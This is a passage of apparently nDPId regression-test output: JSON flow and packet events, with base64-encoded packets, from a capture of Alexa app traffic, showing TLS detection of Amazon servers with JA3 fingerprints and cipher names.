/OMtgBjL0yaizFQoufZtSFHCUiHv4pUzCuZZfLmxrFGEoD85iByuvr1bnskaR38uwuR5ksk8CM+HCNNINo7N7GmuJMCYSshcZjY6gtveyJ5YUgOe\/Av\/aiMYYLe3ku\/CNe9om38wTQQKFLCwOvRG+z3lUuMJT9\/6swtMx8yFPK8enFiHYi\/s5cJ+c45LqHywkHcCSgho3gJwThyDoqbMF+yC8AI9GtiPNV4ZiaoBnp\/EDeDFkWk6Y\/TiR7uNhWcGXw5SLZwV3Qf4GqSfhJG9s02upC1BrEq6wa8H8ydnPf4PMaSYTTdHrRNTOw8y25O8euPAIE9PW\/keJRfss10USLm9Uz5S4CF3lW5FG\/M\/RbkQ2aS7tVP9oNvv6sOYwINoOjumJdYhaqUQhP5XvGV3a+pb+8nS9+4S52d\/qj0OAro\/ZThfoEoyfc1osE92uud4grsLdT3E5Sw6jrUKnxxBfnIAOXlLwgEK3FT1vZ4pC+sul3xSm540aSLgkce2IkvnIJHgeY3WGfP74HYppJLD+R5muR8wDhXXtLh4Ezjn9Mta6z5zcrJ5\/Rb5gjWTE7rEhEtyuXS0zwN5dYw\/lWYz7GtwkKtJKamScVime29n4Dse8+aIAQkwQ7q+Sx7f92CM2isIYIlPhXmEtDl4EVaiKQfM9pp3OYMf432w3bprdOM3HifSOQCEQ98ZkeOjIL45u5GZ+uLWI40GZzPIc\/JaCwDz8Hd876+c650CyFI7BnZB4+JM9vvnupeEtq9MrZ8j8Og7DkUuiHGiWacak36lJIz5JHX4pfp1upfiK4HrPjTt+sXjzyA8FN\/KZ2J\/jRzeu119ug8974\/ofOeQFxTdZo33gJyCSRlkYsdct+0e\/v8RFAZII5rljR2D+hHLiGI8SByaUnT7b7kVZL0NXMZ6hA48bhlsmVyMwo3k62QkucqeMNnomerg4Ud6myyyqwPg8WVj+MwadyaIK6L\/lBTuOiCD1651CVziNfC\/ioSzDpilrBU7dKwF56300euYtdw84EumQgwmUUmWa6t8BDD7PVfuOErP9tIeY7r93YFqJaKl1W7Lq43TI1eAN8kdGk\/x2sX9t3o5o7YUFl0PN0qsCSEhyGLfCIfALE+RyPRwaiN\/pEesf65d5VbUZKgQ0bkON9iAmMg\/kFzCzuEJAmfC9w0KgEdUZa0ZPD37xJaRBubm9zhlSUvNNeFi2zwGfxx7OjaTW7KZktmhJjpSfY7fjjdVwFuTQCLttLXpn9i3IxDTdXRL\/14EIhNdsfv2fyq1ymnQ1+w61Jums\/IX98GIXSCyuunjRlEN+6rSBcw="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":719,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1490976047858,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42144,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":719,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":858519,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA84nJAAEAGasSsECrYSBXOh6SgAbtFc7NzAAAAAKAC\/\/9pQAAAAgQFtAQCCAoA9lEBAAAAAAEDAwg="} +02305{"flow_id":55,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":720,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":890964,"pkt_caplen":1445,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1445,"pkt_l4_len":1411,"pkt":"AMDKkaPvePiC0\/vCCABFAAWXcslAAEAG5YGsECrYNFXR2NSbAbtgrSoHokldhIAYAVsQqQAAAQEICgD2UQVtkKkRbfB\/yi0bv0M7mB4yOZSYtWdZMXUZWfKPnTIcrXW5Fq02Dhm9p9qOYjxbpmkRWUE+\/QotKLObRj+l2uexMDkTXqKGtLcVKgfqQIq0yK9FYo3k0\/wUGwSR0fsQgb0SSGkA4phxIfU4fOf1C2THRg11kJCquJFngebOVK9m79Jq0y47YJqxj3QlMpa+O6UO4tYIbTjdtFtpoloYWx0K3f\/ey0i949h3\/WaTNsTbLBQiktDpJtb2NBuiukMTf4GRsmci3kX29\/083wrYiYjjkL8m7JHIcQny3YhQ8ACnxmWLEuXI7dO4Z51SJaRW+aHKACQnr3bK7ZkoHrjpL4muNQGDH9MjNPx7zaZ9pUgqPRwyY335Y\/o+5LBY7CLOsgQbOXw6Rd8bC6IeXvxHLpWbJn6eU3Xy4C5bZ7m1kRkxe6NBKhJSneNUTwsXkLZbH2YU0XCyUISYAM3n9OFeryoZoQlI0b2iFWcOjRgCYIAUY\/hbvGXT57C\/HZPiniljjsJNufM1dWOFnGrSpfWSu7p6Gf9VYNGt2bNFZJzvRe1jooMED4+1HVlHaGFss7sn4x7KQTi1jEWb8LtUGV\/yeVy6ukFf3tBDi1fIHQXXB+d9+XW6c6VYKiQp2ILjdHsZfWTR5JccJSkr5p8i6o+EtIeroB47hPwXZ8srW94eb10\/OVcSrV1IFuvsuahmsPoKmsCeSl4Y4kBuweFeZg3hCMW+lRrt3oawzBYMjmVZFbjiaD8dGcBzJNYJMTDec2Xgf2VEYooIgiL\/XxJ\/eh7yuh5wECi6jUlk2w6fvgA+NZ3pZxzTia3fd7E5uamqRVRMBQiSW7dV0o+Gbn5BJKCIYeubCHkcrRJu5uw99aFk+3c96It0XGwTAAX1taH24CoBpFcwRgvOEP\/VeqxBvvaqSd+R8pg+Ks1tDvZc20vgzCFn2UfAtme24J9WXYTVlrc+NQ4K7kBxy+XAOcJPgiXUVaszYQaL0HsXG0z\/k15HzU1lopjyVRa1K5fQnp0KSVaQUvPNOKohzGppNL\/Wcdn1knSTB\/L9qKo03HB\/KjSbltr7nD26j6rXZI1bgLhzI5FcS5p0RGHoQQ0fcmK\/FkZ9+EJQO1sy\/Y4YrVTj0shS1ocsHjBFh5dPEwZdwM2mHkibajPfosoeK2ltMlqsescpdllZ0yDN5qdQRW1lPJM7+tKVH0n0p9lLpItEOTcuMK6Wkq3gvLDMkXrXfHW8LDM6H2NZ8YbYLPqOUi3WWaoYcZgM40vgEXTbcy8Oq\/8P+BXLw7swwkV5nrH6lB7vb\/gC0hz7f1\/8sQUYZc\/zFUDwH5J1LMc2UfoSzXy+ixpTkXVA69ypYa\/IEfo5mNM0oMjIzB8CG1CsQxPnePNZNndM5Nt5XgYgRCcSUa9X82wwJjzpoQaCwqEue6dIn0Dbzm6MI7mjVvKi4lzuuGITHs3PPdrnMVgahtEi7Uj6dSCDYOn9vDebYxAVeCCpyMy30TzArFnwortiuHFnzh58Zm3ehtMcO3u6TFkrocZE5+8lgYPZ3+LVrGPPBQhNOMyi52DpdVbn1JMtQ3JAu1QopheZB\/UKrOuAz0ssjz9CGDHyyZ6pEThrNjTy62u24sSHdXMP2V8yuOIys7Z6kWZfEqFiBRiej2xdz1\/J6vhnMjK5Kq\/CCXWjiHuySdWXIrHYNKIGxMVbe5pKkNgTGZWWD3ONG450XVgYMSb+C5TtUYOrQDUcHHroP7avxU5IMZh3wD0DNFkEJsX2Vva9jZ3A6Rl7571sdC1NbSwO8tUkbRI2PBt2AvFtwUVRzfgpaeh6VsKQHy8Fsa7Y3t6BUPT184b3mvDr2p0cHML6KKM="} +00428{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":721,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":907178,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwsPFAAOcG9VBIFc6HrBAq2AG7pKCmhnFJRXOzdHASH\/6\/cgAAAgQFtAEDAwY="} +00414{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":908219,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo4nNAAEAGatesECrYSBXOh6SgAbtFc7N0poZxSlAQAVcJ5AAA"} +00736{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":723,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":908954,"pkt_caplen":291,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":291,"pkt_l4_len":257,"pkt":"AMDKkaPvePiC0\/vCCABFAAEV4nRAAEAGaemsECrYSBXOh6SgAbtFc7N0poZxSlAYAVeSewAAFgMBAOgBAADkAwNIPWEPEPoMeooP6quIPBRotR9ApG0zx\/9LIBRu+eswEiCAoIhp+G+13yEt\/a9wFbgYbBGSpt6bYu8wE9XD90462wAgSkrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB7amoAAP8BAAEAAAAAFgAUAAARZmxzLW5hLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAg6OgAdABcAGAoKAAEA"} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":723,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":57,"flow_packet_id":4,"flow_first_seen":1490976047858,"flow_last_seen":1490976047908,"flow_tot_l4_data_len":345,"flow_min_l4_data_len":20,"flow_max_l4_data_len":257,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42144,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":724,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":955394,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAolARAAOcGEkZIFc6HrBAq2AG7pKCmhnFKRXO0YVAQf\/yKUQAAAAAAAAAA"} +00423{"flow_id":57,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":725,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":955532,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoielAAN0GJmFIFc6HrBAq2AG7pKCmhnFKRXO0YVAQf\/yKUQAAAAAAAAAA"} +00628{"flow_id":57,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":956403,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADEiepAAN0GJcRIFc6HrBAq2AG7pKCmhnFKRXO0YVAYf\/zA0wAAFgMDAGQCAABgAwPOP+RKGUd13t632G8l750hX4NYqs4LPnj1y1rN5CC1UiCAoIhp+G+13yEt\/a9wFbgYbBGSpt6bYu8wE9XD904628AvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDAChkuYkN2nMSNEW7NhhzGo2zdq3klZCAvkolDsxENbT6RLnVEjL+Gawk"} +00788{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":726,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":57,"flow_packet_id":7,"flow_first_seen":1490976047858,"flow_last_seen":1490976047956,"flow_tot_l4_data_len":561,"flow_min_l4_data_len":20,"flow_max_l4_data_len":257,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42144,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00414{"flow_id":57,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":957379,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo4nVAAEAGatWsECrYSBXOh6SgAbtFc7RhpoZx5lAQAVsIVwAA"} +00485{"flow_id":57,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":957900,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABb4nZAAEAGaqGsECrYSBXOh6SgAbtFc7RhpoZx5lAYAVvplAAAFAMDAAEBFgMDACgAAAAAAAAAAE0YwN8nVnBVAj8eHHzhkbGEPc\/RlqvYLkGf2PMdPLB6"} +02394{"flow_id":57,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":729,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":970382,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc4ndAAEAGZR+sECrYSBXOh6SgAbtFc7SUpoZx5lAQAVs1aQAAFwMDBsgAAAAAAAAAAQWr\/L+s1PzRlNLv1CXHm7Rth\/qt3OM+FoIRfxif6WKL7cZuchnhdZ7cIneCiCz1FIw1PB4MDCAw8ehqsh+fkaXafo7LmAqeGeI62ptxYtChGkQRIFaLJFPUqjY4XfpfCWOecCcJaHF5mQic2ZN8fZD1S337YuQkOjNfZN5ehIhgp\/wbHTwZgnKXC\/Oo2bIyw6e5JzRpTPype+IXp3OgIAVpf1fPXVX+kBqbmDtnrv+oaYiComT57SoUlje0EUGz\/qtQuXd3656PQrOAAWu5fWnrPOL6X\/qIOrR6qZwmlk80VDpc7fZvMm1vqQBayCQv3aN3UsBF26asNfPiVqSYKrbDnrsql9Wqvsd6Jqb46PzDDx+mmdZV1H1hD+a8FwQG6ILWppRQKUva2lUSKYK4VTVJNqc\/UI4a4Pzbqn6pGZi4Qjhj2vcPmnhhc1z6MqTF58LiQQtC6UhBGTBZhUnClkSs9xPDkqEi3\/osvaEIkgXYzhFxLUR9uJB+rxlufWK4fohYXE42qrSUxcycAYw3XSeonUEXyEHJMSBE5pn1ThxrwXw2C4XsEhRG+g46zCMhQ83fNWSVFV5DEJ6PA9ql6XHwtaKBB9KT2E2k0763l09hZVhQ+HU348YF7LfIQX9Ol43HaHeSz6KlgWLFBO9KUyS0aXjBk0IthVT39vV3OeYLw7vDdYyX2D2Df45LXdBVLSFLqrMu9PPolJczvbpnNf73X45hgIoEKHRRSWFkL7bRvVTvBIBCxjdVoPAjbSHJbWoRojmX8TWfaryVf4d8sCnAHAJvnaLn1d9eLsF2CYnPN0M9Cg+leNU4Gic88KSbPYBiaztjswTQw52zJc5Svi2ruvQw67+E9dCP3oxAXVpshsa6e4FnEUayihIGFm9mhNneuSsYPS\/VSa9FVKCUJHuLxMYrOhVnLkulzb\/kfHmCnxXS4uPs81DHuh9YOfFa2\/WeWfgN6le07sqdumfgBqwpeAfjMMxHFeItMNVrnjAC4Nare74ilFMgat1S\/Of8xmr8VONogvbyTU8Ydua3mjvtK2EmU8nGmv5mLN5UxOEowtI8uchQEyKvESGVvfrTgu6BMblebVBWMl1iAUjqm+g\/vDtL48uv\/q5bNnAWCjCFEqsq6MIq26P8zZXE2MaXp0kgGawp\/OcGuvoBpMtKfczHEJmVfHVN96zeMD7Uxv9\/DRYOef74wEyW8MaY1V8JcVWYstWfj3Ir6fD5dmeZPxBs75SWj5PZ4DnmOozPS4tdaoZaiKm4xWnZqHzOysHld0Or2yjexac4d0Y4onTlDWCR4e8Pals38N+2kq3vKXX2679xrfnj+vlH9qySWb+WhYuIYfeY1kkDSEQ2HUtvhIW8icCipR6UlQYmnV+BYBlxt28v1M\/oOk5H7MwGbxGxD92Q5n\/YeUPW+QhPUGTbSNbXpVx9o31ONjAU\/2rUjQ21B3HXghWtWDGMfF+jd8aCvUzu1krb+pPBZEr9WugeU3kNplhQoDn+cM64wPcLlo9LhhQ5LuAaVckcG0T\/4VUatLl7tLUyN7kKen5agJ2u9su+pVWdpdsxAfTSaeM3JH0YDCkaWw1PLMM\/Bg2PQq9w4TsYZLKvh5bhCxAbTWXQUHCCpVK3yI0oAgAi3eBI5TevJwJyrZ7aUigqqKCmte5PVZOKQyDmrhhoQ3heSJ+G+LPqRUw1Ne8PXerx3aeAO4lDA2fXJfcy6xcw2mHJH4TQY4FFewB0mPqy2RQb60vUOqnQVTGHlLRVRM+u9EHcAgoXL3e\/u9ZooLbUVzjecHkONyWpKkRZ06+4+CMFH4qHcGjiNeVJSylHdFQgTeJaVy9SXoJTCLknrx\/T+qc6e\/MUN7fAGr2ZV02MA0wMVUb5Gkkjp7GxK9Z\/PQ7LaBAbPImgezMMJ+1mXaoGsb6Ysc+KW6goTAAlFno="} +00797{"flow_id":57,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":730,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":970687,"pkt_caplen":335,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":335,"pkt_l4_len":301,"pkt":"AMDKkaPvePiC0\/vCCABFAAFB4nhAAEAGabmsECrYSBXOh6SgAbtFc7pIpoZx5lAYAVsFlgAAavlyBl4xfXYnJ47cDbFgF+7pubqxjngkoKEJN8QLbHaUpJmogfMnuGql4wAod4E+0ixHWNuxjb4X1HcFhKlaK907D5MF1D9R0NowIxS2c7GZdbXi9qFGdsq97cMACUpQWUOVFmu1FhTJ+0FORCbFQF9vi0bSo1UdxFQZMyzXOE0KNLVnX+2AQKUSVw+nDDaMcUOIvsrxkbZmRHWa4UCUUnsXYr\/5zAyAZxQBwfo9XVd88vo+JRH+zTaIICvjU9VfOImNfrRGcxng+Zvyq0Jyd3fKb+m79gyn7suTvFwepd9+m0+lUUZ4\/cF1jv0r14W3Qn0vpkrbG8q6DZhBrXXCJ+FXzKqIBr3o5EgtSQ3f\/+kyMp+omqlNYF4="} +01088{"flow_id":57,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":731,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976047,"pkt_ts_usec":970847,"pkt_caplen":549,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":549,"pkt_l4_len":515,"pkt":"AMDKkaPvePiC0\/vCCABFAAIX4nlAAEAGaOKsECrYSBXOh6SgAbtFc7thpoZx5lAYAVso7QAAFwMDAeoAAAAAAAAAAmkZnGI7z5l+MduMPbzKhZSrzKBWmgHErEoE8pDZAnCyIvHahHmJIBSxyOh9gG1stBYbSRF\/LgkJ4NOaFoI\/Q6G8riqOw6kHpdqMQrrNYFKRJ\/VEccqzUyoB7MeV1feBKAbLrJ\/ZmZq7YR2ZFXqCfQr9AlaP\/cWwP0qlpCH85anCDhAQjrnYPh5qOlhU9nDGW9gsJ3CPV1+B1jumlxSuqqwK0gqtdMiX0tWT8QWahpM1yGcoTODBvUantlNbAm8ptL6qQs0iGmTZnUMaOCPtnqdFQLNJ5KHm+IHcjzD\/YnLf6IWpU2mfczZrHRixNIdS61cwQZ83n1Bh37F5dEwqAxYuFxaOyfmttp6+JqI6UhC4i9wtM2SSpbo6dsX8twb3anSS9eY5kOKA2YQs7o87MGt7Wf3HMI5QbTEF\/F2G6YmkoZwSPP\/9JtGGLJTrxWoIU7wt8cBONzLrfYdLl6e7waW+YrD9UOc3rTqLxW3NJQUmRQheWH3WXelPANB16UEFTlrz+0RPUBbde6FJIoHcBP19bhiBGtIXfM9tWj5bSOiW6qEbn2Pzcx57Nn4iY5IhOmgYbYUuS1wn\/cO\/3eH0ubrUTzcdxKQXHUzEWExEVCn2dMDoACGF2wzdbEVGASW2bfSX"} +00423{"flow_id":57,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":732,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":45043,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoietAAN0GJl9IFc6HrBAq2AG7pKCmhnHmRXO0lFAQf\/uJgwAAAAAAAAAA"} +00423{"flow_id":57,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":733,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":66012,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAopQNAAOcGAUdIFc6HrBAq2AG7pKCmhnHmRXO0lFAQf\/uJgwAAAAAAAAAA"} +00423{"flow_id":57,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":734,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":66140,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAopQRAAOcGAUZIFc6HrBAq2AG7pKCmhnHmRXO0lFAQf\/uJgwAAAAAAAAAA"} +02389{"flow_id":55,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":739,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":159978,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXccspAAEAG5TusECrYNFXR2NSbAbtgrSRfokldhIAQAVuELwAAAQEICgD2USBtkKkRFwMDCwYAAAAAAAAAAZRJ0WHBRpfMrlIJwaaSZCFDKqEjrdBPKTWYYElyibFFW+M+4oYFg6Z31GToR3evaJ1HvSWn4J4QSSh1Zfc4vZmdl+Z2a5Qpo+avFry6Ob\/j3ghhiS5QMlRGxG5zrckebRzM1HX018SCdKnEIJen9tOFhhYX\/B8uofG+Mj2Y6FDQVvNsE9vzcfWj2Z9j534jS3duVlZZVa7by5HFEP2S2g9CkpNH45NZD3JYReH\/28jQidhLcFicEZ6YRW+MhjF4PZV8n8lramLgBxzjBZoVbNCiCvm7ye2PweCXSSpCVu6o3hqY4jNr+40u5wyz\/afQv\/Cn5CYbBlw3anA6RKLaPfYquAuZIMquOWxXx1+TLfUkB7pBXBMSoawIccWIcDnEqhYtfReM2pQr7gcRkAzT9ct3hskzph0Ilc6hU3gru+d5sCd1Jkmo9tclteey47u21K3gbFhZyDnL8kCSdMaeHgciew\/g1hiBJwDCaycjaQY\/qIF2NwQf1dy608inuEAIhWfvoxK+so2q51uQOjp2Wy+mdWHe1\/4Wx6Y4fNsn0Gdg3fPrP4RgcOncSnTUKF08xGAqkvZxyoroFGIWEkSJeNe\/trR84kC9gdYyd71zdCXJxJObfm6gcXPq8RcEymlAxn1B8HuvUth51TDhVyO2ioQOIGOVFX1wtVNRs09JFu+TnVVPvQceWLQe+u1StOuD+3uV9qMgsYGnAnJln33YXtMmXc3WjZH7fgYG1ltZvqM5I16P1WBH5LRUim03cgAbaH6AcoOjS2tV8ixaYtQFLYNenDZxLEoDHa44NsyLgcCfr080XGaAc0HrraJ1eLcrvX2qD3hjXwYwUj04IAkWa1vI3hhHgwomACnQbZdaFWIkVeTbAROcGzxPdeLkuFev6yN4ZrjyFgMBPn2h5pMYWRKXwS6b8cbKhPmAEHS\/L2JyuqilIn5WvcQ9O7USSP6oTLuCaucluO9n+UwdhxIVwewKk6hLG0Hg3NUo6OuxpJNue+OxU99H9BimLglkFdh9zAI8DoHpaudzj1mTMlAwCQIqBGOXRFRm7S+dnSj3HdE7J+JtyACv4ll7A0fXiFJg7\/3ZyPjDROAAjJ2oDqRcqkTnahzBrVlrR7QOH0QtYerGOhXVyI1RTAWlRhphrOdWJl+swUWZiw3LA7Tq28kZsQr6qmthIZHyvZdboJN3pSKX4J8xhCkcZHUeCZDcnk8fV+DCopTL7AFc67uL1xJZRYhfxdXAqAiT4btcW6dh+8F6QykiIcNgJbr9P5t4BTWNGzJN9Zso9HaZIP+9W821WC3KdJWjj3Usz4ItWqRQWf84OIabvL4ZZj0u5p\/QHwvO8qkqjWKJWwvvK026AjYdG76HvqCFJFxnDkcHTX5gqpVmAmiI9zTPahCINhzaufgeRcIaGGIS\/YaAHC2X9DRXajRd0MS3WibnhG5tlu13hE50Thtrd2qT9Qr5adMQqz2pDAARSgODsJ7g4pFv18GmVrnINxwuBmlj3gCuB\/cB\/sdQPt1eEmPO9cCQX1jCq0ka3ehLrIkBJlE0lVQe2h8FbGL3RKUPdzfLvzQgYhkfQwQUK8L+9Ltp1xNw2BV\/5HScavuWz0lBYtn+L2XReZi52qD02gtIsBC1Fm28hIlbqVCG4\/\/TPVm2jK8g4cAS7ElG3qIf49HvinIVGO5yyAGQZjrcoB4kMLb+\/Cmo8o7V1jN23vW\/t+UEtsuP35grEpGMV43nfvrjfV2DOfwscUWFHn6KE8KPPuSs+0BupzgZoBOJBCoLc+WsdXkt6ZU1k5KvCluEWYPKdpA83GSHQOIfKMLjSHpCKg2ZIZFVedNWUorCJPc9n7TNPJKviTXNeGpSwDoFqdpsqyvS6lGb5rHoY4zygh09tE2PzcT3Q3GzxropigWk39I1bz1LJic="} +00431{"flow_id":55,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":203030,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA09fJAAPMGtLo0VdHYrBAq2AG71JuiSV2EYK0qB4AQAIHPZwAAAQEICm2QqT4A9lEg"} +02305{"flow_id":55,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":742,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976048,"pkt_ts_usec":204103,"pkt_caplen":1445,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1445,"pkt_l4_len":1411,"pkt":"AMDKkaPvePiC0\/vCCABFAAWXcstAAEAG5X+sECrYNFXR2NSbAbtgrSoHokldhIAYAVsQXQAAAQEICgD2USRtkKk+bfB\/yi0bv0M7mB4yOZSYtWdZMXUZWfKPnTIcrXW5Fq02Dhm9p9qOYjxbpmkRWUE+\/QotKLObRj+l2uexMDkTXqKGtLcVKgfqQIq0yK9FYo3k0\/wUGwSR0fsQgb0SSGkA4phxIfU4fOf1C2THRg11kJCquJFngebOVK9